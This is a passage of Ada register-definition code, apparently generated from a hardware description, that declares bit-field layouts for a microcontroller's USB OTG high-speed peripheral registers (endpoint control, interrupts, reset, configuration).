-- NAK interrupt mask
NAKM : Boolean := False;
-- NYET interrupt mask
NYETM : Boolean := False;
-- unspecified
Reserved_15_31 : HAL.UInt17 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DOEPEACHMSK1_Register use record
XFRCM at 0 range 0 .. 0;
EPDM at 0 range 1 .. 1;
Reserved_2_2 at 0 range 2 .. 2;
TOM at 0 range 3 .. 3;
ITTXFEMSK at 0 range 4 .. 4;
INEPNMM at 0 range 5 .. 5;
INEPNEM at 0 range 6 .. 6;
Reserved_7_7 at 0 range 7 .. 7;
TXFURM at 0 range 8 .. 8;
BIM at 0 range 9 .. 9;
Reserved_10_11 at 0 range 10 .. 11;
BERRM at 0 range 12 .. 12;
NAKM at 0 range 13 .. 13;
NYETM at 0 range 14 .. 14;
Reserved_15_31 at 0 range 15 .. 31;
end record;
subtype OTG_HS_DIEPCTL_MPSIZ_Field is HAL.UInt11;
subtype OTG_HS_DIEPCTL_EPTYP_Field is HAL.UInt2;
subtype OTG_HS_DIEPCTL_TXFNUM_Field is HAL.UInt4;
-- OTG device endpoint-0 control register
type OTG_HS_DIEPCTL_Register is record
-- Maximum packet size
MPSIZ : OTG_HS_DIEPCTL_MPSIZ_Field := 16#0#;
-- unspecified
Reserved_11_14 : HAL.UInt4 := 16#0#;
-- USB active endpoint
USBAEP : Boolean := False;
-- Read-only. Even/odd frame
EONUM_DPID : Boolean := False;
-- Read-only. NAK status
NAKSTS : Boolean := False;
-- Endpoint type
EPTYP : OTG_HS_DIEPCTL_EPTYP_Field := 16#0#;
-- unspecified
Reserved_20_20 : HAL.Bit := 16#0#;
-- STALL handshake
Stall : Boolean := False;
-- TxFIFO number
TXFNUM : OTG_HS_DIEPCTL_TXFNUM_Field := 16#0#;
-- Write-only. Clear NAK
CNAK : Boolean := False;
-- Write-only. Set NAK
SNAK : Boolean := False;
-- Write-only. Set DATA0 PID
SD0PID_SEVNFRM : Boolean := False;
-- Write-only. Set odd frame
SODDFRM : Boolean := False;
-- Endpoint disable
EPDIS : Boolean := False;
-- Endpoint enable
EPENA : Boolean := False;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DIEPCTL_Register use record
MPSIZ at 0 range 0 .. 10;
Reserved_11_14 at 0 range 11 .. 14;
USBAEP at 0 range 15 .. 15;
EONUM_DPID at 0 range 16 .. 16;
NAKSTS at 0 range 17 .. 17;
EPTYP at 0 range 18 .. 19;
Reserved_20_20 at 0 range 20 .. 20;
Stall at 0 range 21 .. 21;
TXFNUM at 0 range 22 .. 25;
CNAK at 0 range 26 .. 26;
SNAK at 0 range 27 .. 27;
SD0PID_SEVNFRM at 0 range 28 .. 28;
SODDFRM at 0 range 29 .. 29;
EPDIS at 0 range 30 .. 30;
EPENA at 0 range 31 .. 31;
end record;
-- OTG device endpoint-0 interrupt register
type OTG_HS_DIEPINT_Register is record
-- Transfer completed interrupt
XFRC : Boolean := False;
-- Endpoint disabled interrupt
EPDISD : Boolean := False;
-- unspecified
Reserved_2_2 : HAL.Bit := 16#0#;
-- Timeout condition
TOC : Boolean := False;
-- IN token received when TxFIFO is empty
ITTXFE : Boolean := False;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- IN endpoint NAK effective
INEPNE : Boolean := False;
-- Read-only. Transmit FIFO empty
TXFE : Boolean := True;
-- Transmit Fifo Underrun
TXFIFOUDRN : Boolean := False;
-- Buffer not available interrupt
BNA : Boolean := False;
-- unspecified
Reserved_10_10 : HAL.Bit := 16#0#;
-- Packet dropped status
PKTDRPSTS : Boolean := False;
-- Babble error interrupt
BERR : Boolean := False;
-- NAK interrupt
NAK : Boolean := False;
-- unspecified
Reserved_14_31 : HAL.UInt18 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DIEPINT_Register use record
XFRC at 0 range 0 .. 0;
EPDISD at 0 range 1 .. 1;
Reserved_2_2 at 0 range 2 .. 2;
TOC at 0 range 3 .. 3;
ITTXFE at 0 range 4 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
INEPNE at 0 range 6 .. 6;
TXFE at 0 range 7 .. 7;
TXFIFOUDRN at 0 range 8 .. 8;
BNA at 0 range 9 .. 9;
Reserved_10_10 at 0 range 10 .. 10;
PKTDRPSTS at 0 range 11 .. 11;
BERR at 0 range 12 .. 12;
NAK at 0 range 13 .. 13;
Reserved_14_31 at 0 range 14 .. 31;
end record;
subtype OTG_HS_DIEPTSIZ0_XFRSIZ_Field is HAL.UInt7;
subtype OTG_HS_DIEPTSIZ0_PKTCNT_Field is HAL.UInt2;
-- OTG_HS device IN endpoint 0 transfer size register
type OTG_HS_DIEPTSIZ0_Register is record
-- Transfer size
XFRSIZ : OTG_HS_DIEPTSIZ0_XFRSIZ_Field := 16#0#;
-- unspecified
Reserved_7_18 : HAL.UInt12 := 16#0#;
-- Packet count
PKTCNT : OTG_HS_DIEPTSIZ0_PKTCNT_Field := 16#0#;
-- unspecified
Reserved_21_31 : HAL.UInt11 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DIEPTSIZ0_Register use record
XFRSIZ at 0 range 0 .. 6;
Reserved_7_18 at 0 range 7 .. 18;
PKTCNT at 0 range 19 .. 20;
Reserved_21_31 at 0 range 21 .. 31;
end record;
subtype OTG_HS_DTXFSTS_INEPTFSAV_Field is HAL.UInt16;
-- OTG_HS device IN endpoint transmit FIFO status register
type OTG_HS_DTXFSTS_Register is record
-- Read-only. IN endpoint TxFIFO space avail
INEPTFSAV : OTG_HS_DTXFSTS_INEPTFSAV_Field;
-- unspecified
Reserved_16_31 : HAL.UInt16;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DTXFSTS_Register use record
INEPTFSAV at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype OTG_HS_DIEPTSIZ_XFRSIZ_Field is HAL.UInt19;
subtype OTG_HS_DIEPTSIZ_PKTCNT_Field is HAL.UInt10;
subtype OTG_HS_DIEPTSIZ_MCNT_Field is HAL.UInt2;
-- OTG_HS device endpoint transfer size register
type OTG_HS_DIEPTSIZ_Register is record
-- Transfer size
XFRSIZ : OTG_HS_DIEPTSIZ_XFRSIZ_Field := 16#0#;
-- Packet count
PKTCNT : OTG_HS_DIEPTSIZ_PKTCNT_Field := 16#0#;
-- Multi count
MCNT : OTG_HS_DIEPTSIZ_MCNT_Field := 16#0#;
-- unspecified
Reserved_31_31 : HAL.Bit := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DIEPTSIZ_Register use record
XFRSIZ at 0 range 0 .. 18;
PKTCNT at 0 range 19 .. 28;
MCNT at 0 range 29 .. 30;
Reserved_31_31 at 0 range 31 .. 31;
end record;
subtype OTG_HS_DOEPCTL0_MPSIZ_Field is HAL.UInt2;
subtype OTG_HS_DOEPCTL0_EPTYP_Field is HAL.UInt2;
-- OTG_HS device control OUT endpoint 0 control register
type OTG_HS_DOEPCTL0_Register is record
-- Read-only. Maximum packet size
MPSIZ : OTG_HS_DOEPCTL0_MPSIZ_Field := 16#0#;
-- unspecified
Reserved_2_14 : HAL.UInt13 := 16#0#;
-- Read-only. USB active endpoint
USBAEP : Boolean := True;
-- unspecified
Reserved_16_16 : HAL.Bit := 16#0#;
-- Read-only. NAK status
NAKSTS : Boolean := False;
-- Read-only. Endpoint type
EPTYP : OTG_HS_DOEPCTL0_EPTYP_Field := 16#0#;
-- Snoop mode
SNPM : Boolean := False;
-- STALL handshake
Stall : Boolean := False;
-- unspecified
Reserved_22_25 : HAL.UInt4 := 16#0#;
-- Write-only. Clear NAK
CNAK : Boolean := False;
-- Write-only. Set NAK
SNAK : Boolean := False;
-- unspecified
Reserved_28_29 : HAL.UInt2 := 16#0#;
-- Read-only. Endpoint disable
EPDIS : Boolean := False;
-- Write-only. Endpoint enable
EPENA : Boolean := False;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DOEPCTL0_Register use record
MPSIZ at 0 range 0 .. 1;
Reserved_2_14 at 0 range 2 .. 14;
USBAEP at 0 range 15 .. 15;
Reserved_16_16 at 0 range 16 .. 16;
NAKSTS at 0 range 17 .. 17;
EPTYP at 0 range 18 .. 19;
SNPM at 0 range 20 .. 20;
Stall at 0 range 21 .. 21;
Reserved_22_25 at 0 range 22 .. 25;
CNAK at 0 range 26 .. 26;
SNAK at 0 range 27 .. 27;
Reserved_28_29 at 0 range 28 .. 29;
EPDIS at 0 range 30 .. 30;
EPENA at 0 range 31 .. 31;
end record;
-- OTG_HS device endpoint-0 interrupt register
type OTG_HS_DOEPINT_Register is record
-- Transfer completed interrupt
XFRC : Boolean := False;
-- Endpoint disabled interrupt
EPDISD : Boolean := False;
-- unspecified
Reserved_2_2 : HAL.Bit := 16#0#;
-- SETUP phase done
STUP : Boolean := False;
-- OUT token received when endpoint disabled
OTEPDIS : Boolean := False;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- Back-to-back SETUP packets received
B2BSTUP : Boolean := False;
-- unspecified
Reserved_7_13 : HAL.UInt7 := 16#1#;
-- NYET interrupt
NYET : Boolean := False;
-- unspecified
Reserved_15_31 : HAL.UInt17 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DOEPINT_Register use record
XFRC at 0 range 0 .. 0;
EPDISD at 0 range 1 .. 1;
Reserved_2_2 at 0 range 2 .. 2;
STUP at 0 range 3 .. 3;
OTEPDIS at 0 range 4 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
B2BSTUP at 0 range 6 .. 6;
Reserved_7_13 at 0 range 7 .. 13;
NYET at 0 range 14 .. 14;
Reserved_15_31 at 0 range 15 .. 31;
end record;
subtype OTG_HS_DOEPTSIZ0_XFRSIZ_Field is HAL.UInt7;
subtype OTG_HS_DOEPTSIZ0_STUPCNT_Field is HAL.UInt2;
-- OTG_HS device endpoint-1 transfer size register
type OTG_HS_DOEPTSIZ0_Register is record
-- Transfer size
XFRSIZ : OTG_HS_DOEPTSIZ0_XFRSIZ_Field := 16#0#;
-- unspecified
Reserved_7_18 : HAL.UInt12 := 16#0#;
-- Packet count
PKTCNT : Boolean := False;
-- unspecified
Reserved_20_28 : HAL.UInt9 := 16#0#;
-- SETUP packet count
STUPCNT : OTG_HS_DOEPTSIZ0_STUPCNT_Field := 16#0#;
-- unspecified
Reserved_31_31 : HAL.Bit := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DOEPTSIZ0_Register use record
XFRSIZ at 0 range 0 .. 6;
Reserved_7_18 at 0 range 7 .. 18;
PKTCNT at 0 range 19 .. 19;
Reserved_20_28 at 0 range 20 .. 28;
STUPCNT at 0 range 29 .. 30;
Reserved_31_31 at 0 range 31 .. 31;
end record;
subtype OTG_HS_DOEPCTL_MPSIZ_Field is HAL.UInt11;
subtype OTG_HS_DOEPCTL_EPTYP_Field is HAL.UInt2;
-- OTG device endpoint-1 control register
type OTG_HS_DOEPCTL_Register is record
-- Maximum packet size
MPSIZ : OTG_HS_DOEPCTL_MPSIZ_Field := 16#0#;
-- unspecified
Reserved_11_14 : HAL.UInt4 := 16#0#;
-- USB active endpoint
USBAEP : Boolean := False;
-- Read-only. Even odd frame/Endpoint data PID
EONUM_DPID : Boolean := False;
-- Read-only. NAK status
NAKSTS : Boolean := False;
-- Endpoint type
EPTYP : OTG_HS_DOEPCTL_EPTYP_Field := 16#0#;
-- Snoop mode
SNPM : Boolean := False;
-- STALL handshake
Stall : Boolean := False;
-- unspecified
Reserved_22_25 : HAL.UInt4 := 16#0#;
-- Write-only. Clear NAK
CNAK : Boolean := False;
-- Write-only. Set NAK
SNAK : Boolean := False;
-- Write-only. Set DATA0 PID/Set even frame
SD0PID_SEVNFRM : Boolean := False;
-- Write-only. Set odd frame
SODDFRM : Boolean := False;
-- Endpoint disable
EPDIS : Boolean := False;
-- Endpoint enable
EPENA : Boolean := False;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DOEPCTL_Register use record
MPSIZ at 0 range 0 .. 10;
Reserved_11_14 at 0 range 11 .. 14;
USBAEP at 0 range 15 .. 15;
EONUM_DPID at 0 range 16 .. 16;
NAKSTS at 0 range 17 .. 17;
EPTYP at 0 range 18 .. 19;
SNPM at 0 range 20 .. 20;
Stall at 0 range 21 .. 21;
Reserved_22_25 at 0 range 22 .. 25;
CNAK at 0 range 26 .. 26;
SNAK at 0 range 27 .. 27;
SD0PID_SEVNFRM at 0 range 28 .. 28;
SODDFRM at 0 range 29 .. 29;
EPDIS at 0 range 30 .. 30;
EPENA at 0 range 31 .. 31;
end record;
subtype OTG_HS_DOEPTSIZ_XFRSIZ_Field is HAL.UInt19;
subtype OTG_HS_DOEPTSIZ_PKTCNT_Field is HAL.UInt10;
subtype OTG_HS_DOEPTSIZ_RXDPID_STUPCNT_Field is HAL.UInt2;
-- OTG_HS device endpoint-2 transfer size register
type OTG_HS_DOEPTSIZ_Register is record
-- Transfer size
XFRSIZ : OTG_HS_DOEPTSIZ_XFRSIZ_Field := 16#0#;
-- Packet count
PKTCNT : OTG_HS_DOEPTSIZ_PKTCNT_Field := 16#0#;
-- Received data PID/SETUP packet count
RXDPID_STUPCNT : OTG_HS_DOEPTSIZ_RXDPID_STUPCNT_Field := 16#0#;
-- unspecified
Reserved_31_31 : HAL.Bit := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DOEPTSIZ_Register use record
XFRSIZ at 0 range 0 .. 18;
PKTCNT at 0 range 19 .. 28;
RXDPID_STUPCNT at 0 range 29 .. 30;
Reserved_31_31 at 0 range 31 .. 31;
end record;
-- OTG_HS control and status register
type OTG_HS_GOTGCTL_Register is record
-- Read-only. Session request success
SRQSCS : Boolean := False;
-- Session request
SRQ : Boolean := False;
-- unspecified
Reserved_2_7 : HAL.UInt6 := 16#0#;
-- Read-only. Host negotiation success
HNGSCS : Boolean := False;
-- HNP request
HNPRQ : Boolean := False;
-- Host set HNP enable
HSHNPEN : Boolean := False;
-- Device HNP enabled
DHNPEN : Boolean := True;
-- unspecified
Reserved_12_15 : HAL.UInt4 := 16#0#;
-- Read-only. Connector ID status
CIDSTS : Boolean := False;
-- Read-only. Long/short debounce time
DBCT : Boolean := False;
-- Read-only. A-session valid
ASVLD : Boolean := False;
-- Read-only. B-session valid
BSVLD : Boolean := False;
-- unspecified
Reserved_20_31 : HAL.UInt12 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_GOTGCTL_Register use record
SRQSCS at 0 range 0 .. 0;
SRQ at 0 range 1 .. 1;
Reserved_2_7 at 0 range 2 .. 7;
HNGSCS at 0 range 8 .. 8;
HNPRQ at 0 range 9 .. 9;
HSHNPEN at 0 range 10 .. 10;
DHNPEN at 0 range 11 .. 11;
Reserved_12_15 at 0 range 12 .. 15;
CIDSTS at 0 range 16 .. 16;
DBCT at 0 range 17 .. 17;
ASVLD at 0 range 18 .. 18;
BSVLD at 0 range 19 .. 19;
Reserved_20_31 at 0 range 20 .. 31;
end record;
-- OTG_HS interrupt register
type OTG_HS_GOTGINT_Register is record
-- unspecified
Reserved_0_1 : HAL.UInt2 := 16#0#;
-- Session end detected
SEDET : Boolean := False;
-- unspecified
Reserved_3_7 : HAL.UInt5 := 16#0#;
-- Session request success status change
SRSSCHG : Boolean := False;
-- Host negotiation success status change
HNSSCHG : Boolean := False;
-- unspecified
Reserved_10_16 : HAL.UInt7 := 16#0#;
-- Host negotiation detected
HNGDET : Boolean := False;
-- A-device timeout change
ADTOCHG : Boolean := False;
-- Debounce done
DBCDNE : Boolean := False;
-- unspecified
Reserved_20_31 : HAL.UInt12 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_GOTGINT_Register use record
Reserved_0_1 at 0 range 0 .. 1;
SEDET at 0 range 2 .. 2;
Reserved_3_7 at 0 range 3 .. 7;
SRSSCHG at 0 range 8 .. 8;
HNSSCHG at 0 range 9 .. 9;
Reserved_10_16 at 0 range 10 .. 16;
HNGDET at 0 range 17 .. 17;
ADTOCHG at 0 range 18 .. 18;
DBCDNE at 0 range 19 .. 19;
Reserved_20_31 at 0 range 20 .. 31;
end record;
subtype OTG_HS_GAHBCFG_HBSTLEN_Field is HAL.UInt4;
-- OTG_HS AHB configuration register
type OTG_HS_GAHBCFG_Register is record
-- Global interrupt mask
GINT : Boolean := False;
-- Burst length/type
HBSTLEN : OTG_HS_GAHBCFG_HBSTLEN_Field := 16#0#;
-- DMA enable
DMAEN : Boolean := False;
-- unspecified
Reserved_6_6 : HAL.Bit := 16#0#;
-- TxFIFO empty level
TXFELVL : Boolean := False;
-- Periodic TxFIFO empty level
PTXFELVL : Boolean := False;
-- unspecified
Reserved_9_31 : HAL.UInt23 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_GAHBCFG_Register use record
GINT at 0 range 0 .. 0;
HBSTLEN at 0 range 1 .. 4;
DMAEN at 0 range 5 .. 5;
Reserved_6_6 at 0 range 6 .. 6;
TXFELVL at 0 range 7 .. 7;
PTXFELVL at 0 range 8 .. 8;
Reserved_9_31 at 0 range 9 .. 31;
end record;
subtype OTG_HS_GUSBCFG_TOCAL_Field is HAL.UInt3;
subtype OTG_HS_GUSBCFG_TRDT_Field is HAL.UInt4;
-- OTG_HS USB configuration register
type OTG_HS_GUSBCFG_Register is record
-- FS timeout calibration
TOCAL : OTG_HS_GUSBCFG_TOCAL_Field := 16#0#;
-- unspecified
Reserved_3_5 : HAL.UInt3 := 16#0#;
-- Write-only. USB 2.0 high-speed ULPI PHY or USB 1.1 full-speed serial
-- transceiver select
PHYSEL : Boolean := False;
-- unspecified
Reserved_7_7 : HAL.Bit := 16#0#;
-- SRP-capable
SRPCAP : Boolean := False;
-- HNP-capable
HNPCAP : Boolean := True;
-- USB turnaround time
TRDT : OTG_HS_GUSBCFG_TRDT_Field := 16#2#;
-- unspecified
Reserved_14_14 : HAL.Bit := 16#0#;
-- PHY Low-power clock select
PHYLPCS : Boolean := False;
-- unspecified
Reserved_16_16 : HAL.Bit := 16#0#;
-- ULPI FS/LS select
ULPIFSLS : Boolean := False;
-- ULPI Auto-resume
ULPIAR : Boolean := False;
-- ULPI Clock SuspendM
ULPICSM : Boolean := False;
-- ULPI External VBUS Drive
ULPIEVBUSD : Boolean := False;
-- ULPI external VBUS indicator
ULPIEVBUSI : Boolean := False;
-- TermSel DLine pulsing selection
TSDPS : Boolean := False;
-- Indicator complement
PCCI : Boolean := False;
-- Indicator pass through
PTCI : Boolean := False;
-- ULPI interface protect disable
ULPIIPD : Boolean := False;
-- unspecified
Reserved_26_28 : HAL.UInt3 := 16#0#;
-- Forced host mode
FHMOD : Boolean := False;
-- Forced peripheral mode
FDMOD : Boolean := False;
-- Corrupt Tx packet
CTXPKT : Boolean := False;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_GUSBCFG_Register use record
TOCAL at 0 range 0 .. 2;
Reserved_3_5 at 0 range 3 .. 5;
PHYSEL at 0 range 6 .. 6;
Reserved_7_7 at 0 range 7 .. 7;
SRPCAP at 0 range 8 .. 8;
HNPCAP at 0 range 9 .. 9;
TRDT at 0 range 10 .. 13;
Reserved_14_14 at 0 range 14 .. 14;
PHYLPCS at 0 range 15 .. 15;
Reserved_16_16 at 0 range 16 .. 16;
ULPIFSLS at 0 range 17 .. 17;
ULPIAR at 0 range 18 .. 18;
ULPICSM at 0 range 19 .. 19;
ULPIEVBUSD at 0 range 20 .. 20;
ULPIEVBUSI at 0 range 21 .. 21;
TSDPS at 0 range 22 .. 22;
PCCI at 0 range 23 .. 23;
PTCI at 0 range 24 .. 24;
ULPIIPD at 0 range 25 .. 25;
Reserved_26_28 at 0 range 26 .. 28;
FHMOD at 0 range 29 .. 29;
FDMOD at 0 range 30 .. 30;
CTXPKT at 0 range 31 .. 31;
end record;
subtype OTG_HS_GRSTCTL_TXFNUM_Field is HAL.UInt5;
-- OTG_HS reset register
type OTG_HS_GRSTCTL_Register is record
-- Core soft reset
CSRST : Boolean := False;
-- HCLK soft reset
HSRST : Boolean := False;
-- Host frame counter reset
FCRST : Boolean := False;
-- unspecified
Reserved_3_3 : HAL.Bit := 16#0#;
-- RxFIFO flush
RXFFLSH : Boolean := False;
-- TxFIFO flush
TXFFLSH : Boolean := False;
-- TxFIFO number
TXFNUM : OTG_HS_GRSTCTL_TXFNUM_Field := 16#0#;
-- unspecified
Reserved_11_29 : HAL.UInt19 := 16#40000#;
-- Read-only. DMA request signal
DMAREQ : Boolean := False;
-- Read-only. AHB master idle
AHBIDL : Boolean := False;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_GRSTCTL_Register use record
CSRST at 0 range 0 .. 0;
HSRST at 0 range 1 .. 1;
FCRST at 0 range 2 .. 2;
Reserved_3_3 at 0 range 3 .. 3;
RXFFLSH at 0 range 4 .. 4;
TXFFLSH at 0 range 5 .. 5;
TXFNUM at 0 range 6 .. 10;
Reserved_11_29 at 0 range 11 .. 29;
DMAREQ at 0 range 30 .. 30;
AHBIDL at 0 range 31 .. 31;
end record;
-- OTG_HS core interrupt register
type OTG_HS_GINTSTS_Register is record
-- Read-only. Current mode of operation
CMOD : Boolean := False;
-- Mode mismatch interrupt
MMIS : Boolean := False;
-- Read-only. OTG interrupt
OTGINT : Boolean := False;
-- Start of frame
SOF : Boolean := False;
-- Read-only. RxFIFO nonempty
RXFLVL : Boolean := False;
-- Read-only. Nonperiodic TxFIFO empty
NPTXFE : Boolean := True;
-- Read-only. Global IN nonperiodic NAK effective
GINAKEFF : Boolean := False;
-- Read-only. Global OUT NAK effective
BOUTNAKEFF : Boolean := False;
-- unspecified
Reserved_8_9 : HAL.UInt2 := 16#0#;
-- Early suspend
ESUSP : Boolean := False;
-- USB suspend
USBSUSP : Boolean := False;
-- USB reset
USBRST : Boolean := False;
-- Enumeration done
ENUMDNE : Boolean := False;
-- Isochronous OUT packet dropped interrupt
ISOODRP : Boolean := False;
-- End of periodic frame interrupt
EOPF : Boolean := False;
-- unspecified
Reserved_16_17 : HAL.UInt2 := 16#0#;
-- Read-only. IN endpoint interrupt
IEPINT : Boolean := False;
-- Read-only. OUT endpoint interrupt
OEPINT : Boolean := False;
-- Incomplete isochronous IN transfer
IISOIXFR : Boolean := False;
-- Incomplete periodic transfer
PXFR_INCOMPISOOUT : Boolean := False;
-- Data fetch suspended
DATAFSUSP : Boolean := False;
-- unspecified
Reserved_23_23 : HAL.Bit := 16#0#;
-- Read-only. Host port interrupt
HPRTINT : Boolean := False;
-- Read-only. Host channels interrupt
HCINT : Boolean := False;
-- Read-only. Periodic TxFIFO empty
PTXFE : Boolean := True;
-- unspecified
Reserved_27_27 : HAL.Bit := 16#0#;
-- Connector ID status change
CIDSCHG : Boolean := False;
-- Disconnect detected interrupt
DISCINT : Boolean := False;
-- Session request/new session detected interrupt
SRQINT : Boolean := False;
-- Resume/remote wakeup detected interrupt
WKUINT : Boolean := False;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_GINTSTS_Register use record
CMOD at 0 range 0 .. 0;
MMIS at 0 range 1 .. 1;
OTGINT at 0 range 2 .. 2;
SOF at 0 range 3 .. 3;
RXFLVL at 0 range 4 .. 4;
NPTXFE at 0 range 5 .. 5;
GINAKEFF at 0 range 6 .. 6;
BOUTNAKEFF at 0 range 7 .. 7;
Reserved_8_9 at 0 range 8 .. 9;
ESUSP at 0 range 10 .. 10;
USBSUSP at 0 range 11 .. 11;
USBRST at 0 range 12 .. 12;
ENUMDNE at 0 range 13 .. 13;
ISOODRP at 0 range 14 .. 14;
EOPF at 0 range 15 .. 15;
Reserved_16_17 at 0 range 16 .. 17;
IEPINT at 0 range 18 .. 18;
OEPINT at 0 range 19 .. 19;
IISOIXFR at 0 range 20 .. 20;
PXFR_INCOMPISOOUT at 0 range 21 .. 21;
DATAFSUSP at 0 range 22 .. 22;
Reserved_23_23 at 0 range 23 .. 23;
HPRTINT at 0 range 24 .. 24;
HCINT at 0 range 25 .. 25;
PTXFE at 0 range 26 .. 26;
Reserved_27_27 at 0 range 27 .. 27;
CIDSCHG at 0 range 28 .. 28;
DISCINT at 0 range 29 .. 29;
SRQINT at 0 range 30 .. 30;
WKUINT at 0 range 31 .. 31;
end record;
-- OTG_HS interrupt mask register
type OTG_HS_GINTMSK_Register is record
-- unspecified
Reserved_0_0 : HAL.Bit := 16#0#;
-- Mode mismatch interrupt mask
MMISM : Boolean := False;
-- OTG interrupt mask
OTGINT : Boolean := False;
-- Start of frame mask
SOFM : Boolean := False;
-- Receive FIFO nonempty mask
RXFLVLM : Boolean := False;
-- Nonperiodic TxFIFO empty mask
NPTXFEM : Boolean := False;
-- Global nonperiodic IN NAK effective mask
GINAKEFFM : Boolean := False;
-- Global OUT NAK effective mask
GONAKEFFM : Boolean := False;
-- unspecified
Reserved_8_9 : HAL.UInt2 := 16#0#;
-- Early suspend mask
ESUSPM : Boolean := False;
-- USB suspend mask
USBSUSPM : Boolean := False;
-- USB reset mask
USBRST : Boolean := False;
-- Enumeration done mask
ENUMDNEM : Boolean := False;
-- Isochronous OUT packet dropped interrupt mask
ISOODRPM : Boolean := False;
-- End of periodic frame interrupt mask
EOPFM : Boolean := False;
-- unspecified
Reserved_16_16 : HAL.Bit := 16#0#;
-- Endpoint mismatch interrupt mask
EPMISM : Boolean := False;
-- IN endpoints interrupt mask
IEPINT : Boolean := False;
-- OUT endpoints interrupt mask
OEPINT : Boolean := False;
-- Incomplete isochronous IN transfer mask
IISOIXFRM : Boolean := False;
-- Incomplete periodic transfer mask
PXFRM_IISOOXFRM : Boolean := False;
-- Data fetch suspended mask
FSUSPM : Boolean := False;
-- unspecified
Reserved_23_23 : HAL.Bit := 16#0#;
-- Read-only. Host port interrupt mask
PRTIM : Boolean := False;
-- Host channels interrupt mask
HCIM : Boolean := False;
-- Periodic TxFIFO empty mask
PTXFEM : Boolean := False;
-- unspecified
Reserved_27_27 : HAL.Bit := 16#0#;
-- Connector ID status change mask
CIDSCHGM : Boolean := False;
-- Disconnect detected interrupt mask
DISCINT : Boolean := False;
-- Session request/new session detected interrupt mask
SRQIM : Boolean := False;
-- Resume/remote wakeup detected interrupt mask
WUIM : Boolean := False;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_GINTMSK_Register use record
Reserved_0_0 at 0 range 0 .. 0;
MMISM at 0 range 1 .. 1;
OTGINT at 0 range 2 .. 2;
SOFM at 0 range 3 .. 3;
RXFLVLM at 0 range 4 .. 4;
NPTXFEM at 0 range 5 .. 5;
GINAKEFFM at 0 range 6 .. 6;
GONAKEFFM at 0 range 7 .. 7;
Reserved_8_9 at 0 range 8 .. 9;
ESUSPM at 0 range 10 .. 10;
USBSUSPM at 0 range 11 .. 11;
USBRST at 0 range 12 .. 12;
ENUMDNEM at 0 range 13 .. 13;
ISOODRPM at 0 range 14 .. 14;
EOPFM at 0 range 15 .. 15;
Reserved_16_16 at 0 range 16 .. 16;
EPMISM at 0 range 17 .. 17;
IEPINT at 0 range 18 .. 18;
OEPINT at 0 range 19 .. 19;
IISOIXFRM at 0 range 20 .. 20;
PXFRM_IISOOXFRM at 0 range 21 .. 21;
FSUSPM at 0 range 22 .. 22;
Reserved_23_23 at 0 range 23 .. 23;
PRTIM at 0 range 24 .. 24;
HCIM at 0 range 25 .. 25;
PTXFEM at 0 range 26 .. 26;
Reserved_27_27 at 0 range 27 .. 27;
CIDSCHGM at 0 range 28 .. 28;
DISCINT at 0 range 29 .. 29;
SRQIM at 0 range 30 .. 30;
WUIM at 0 range 31 .. 31;
end record;
subtype OTG_HS_GRXSTSR_Host_CHNUM_Field is HAL.UInt4;
subtype OTG_HS_GRXSTSR_Host_BCNT_Field is HAL.UInt11;
subtype OTG_HS_GRXSTSR_Host_DPID_Field is HAL.UInt2;
subtype OTG_HS_GRXSTSR_Host_PKTSTS_Field is HAL.UInt4;
-- OTG_HS Receive status debug read register (host mode)
type OTG_HS_GRXSTSR_Host_Register is record
-- Read-only. Channel number
CHNUM : OTG_HS_GRXSTSR_Host_CHNUM_Field;
-- Read-only. Byte count
BCNT : OTG_HS_GRXSTSR_Host_BCNT_Field;
-- Read-only. Data PID
DPID : OTG_HS_GRXSTSR_Host_DPID_Field;
-- Read-only. Packet status
PKTSTS : OTG_HS_GRXSTSR_Host_PKTSTS_Field;
-- unspecified
Reserved_21_31 : HAL.UInt11;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_GRXSTSR_Host_Register use record
CHNUM at 0 range 0 .. 3;
BCNT at 0 range 4 .. 14;
DPID at 0 range 15 .. 16;
PKTSTS at 0 range 17 .. 20;
Reserved_21_31 at 0 range 21 .. 31;
end record;
subtype OTG_HS_GRXSTSR_Peripheral_EPNUM_Field is HAL.UInt4;
subtype OTG_HS_GRXSTSR_Peripheral_BCNT_Field is HAL.UInt11;
subtype OTG_HS_GRXSTSR_Peripheral_DPID_Field is HAL.UInt2;
subtype OTG_HS_GRXSTSR_Peripheral_PKTSTS_Field is HAL.UInt4;
